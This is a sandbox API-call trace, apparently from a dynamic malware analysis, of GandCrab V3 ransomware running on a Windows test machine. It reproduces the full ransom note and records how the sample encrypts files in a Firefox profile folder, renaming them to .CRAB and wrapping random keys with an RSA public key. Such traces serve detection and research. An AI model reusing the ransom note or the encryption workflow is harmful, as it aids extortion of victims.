	[0119.667] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.667] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0119.667] CloseHandle (hObject=0x3f4) returned 1
	[0119.670] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.671] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 63
	[0119.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*"
	[0119.671] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xded2e8
	[0119.671] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.671] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.672] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.672] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.672] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.672] lstrcmpW (lpString1="8i341t8m.default", lpString2=".") returned 1
	[0119.672] lstrcmpW (lpString1="8i341t8m.default", lpString2="..") returned 1
	[0119.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="8i341t8m.default" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default"
	[0119.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\"
	[0119.672] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.672] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.672] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.672] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.672] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.673] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.673] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.673] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.673] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.673] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.673] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\\\CRAB-DECRYPT.txt") returned 97
	[0119.674] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0119.687] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.687] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0119.687] CloseHandle (hObject=0x3f8) returned 1
	[0119.688] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.688] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\") returned 80
	[0119.688] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*"
	[0119.688] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xded3e8
	[0119.701] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.701] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.702] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.702] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.702] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.702] lstrcmpW (lpString1="addons.json", lpString2=".") returned 1
	[0119.702] lstrcmpW (lpString1="addons.json", lpString2="..") returned 1
	[0119.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json"
	[0119.702] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.702] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91
	[0119.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91
	[0119.703] lstrlenW (lpString=".json") returned 5
	[0119.703] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.703] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0119.703] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91
	[0119.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91
	[0119.703] lstrcmpiW (lpString1="addons.json", lpString2="desktop.ini") returned -1
	[0119.703] lstrcmpiW (lpString1="addons.json", lpString2="autorun.inf") returned -1
	[0119.703] lstrcmpiW (lpString1="addons.json", lpString2="ntuser.dat") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="iconcache.db") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="bootsect.bak") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="boot.ini") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="ntuser.dat.log") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="thumbs.db") returned -1
	[0119.704] lstrcmpiW (lpString1="addons.json", lpString2="CRAB-DECRYPT.txt") returned -1
	[0119.704] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.704] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB") returned 96
	[0119.704] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json")) returned 0x20
	[0119.705] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json", dwFileAttributes=0x20) returned 1
	[0119.706] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json.crab")) returned 1
	[0119.707] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.707] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB"
	[0119.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB.CRAB"
	[0119.708] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0119.708] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.709] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.709] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.709] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0119.709] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.709] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.709] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0119.710] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.710] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.710] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0119.711] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0119.711] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.711] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.711] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.712] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0119.712] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded6a8) returned 1
	[0119.712] CryptGetKeyParam (in: hKey=0xded6a8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.712] CryptEncrypt (in: hKey=0xded6a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0119.713] GetLastError () returned 0x0
	[0119.713] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0119.713] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0119.713] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded7e8) returned 1
	[0119.713] CryptGetKeyParam (in: hKey=0xded7e8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.713] CryptEncrypt (in: hKey=0xded7e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0119.714] GetLastError () returned 0x0
	[0119.714] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.714] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0119.714] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.715] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.715] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x18, lpOverlapped=0x0) returned 1
	[0119.728] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0119.729] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0119.729] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.729] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.729] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x20, lpOverlapped=0x0) returned 1
	[0119.729] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.730] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.734] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.734] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.734] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0119.734] CloseHandle (hObject=0x3e0) returned 1
	[0119.735] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.735] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.736] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.736] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.736] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.737] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.737] lstrcmpW (lpString1="AlternateServices.txt", lpString2=".") returned 1
	[0119.737] lstrcmpW (lpString1="AlternateServices.txt", lpString2="..") returned 1
	[0119.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="AlternateServices.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt"
	[0119.737] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.737] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned 101
	[0119.737] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned 101
	[0119.738] lstrlenW (lpString=".txt") returned 4
	[0119.738] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.738] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.738] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.738] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.739] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.739] lstrcmpW (lpString1="blocklist-addons.json", lpString2=".") returned 1
	[0119.739] lstrcmpW (lpString1="blocklist-addons.json", lpString2="..") returned 1
	[0119.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json"
	[0119.739] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.739] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101
	[0119.739] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101
	[0119.739] lstrlenW (lpString=".json") returned 5
	[0119.739] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.739] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0119.739] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101
	[0119.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="desktop.ini") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="autorun.inf") returned 1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="ntuser.dat") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="iconcache.db") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="bootsect.bak") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="boot.ini") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="ntuser.dat.log") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="thumbs.db") returned -1
	[0119.740] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="CRAB-DECRYPT.txt") returned -1
	[0119.740] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.740] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB") returned 106
	[0119.741] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json")) returned 0x20
	[0119.745] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json", dwFileAttributes=0x20) returned 1
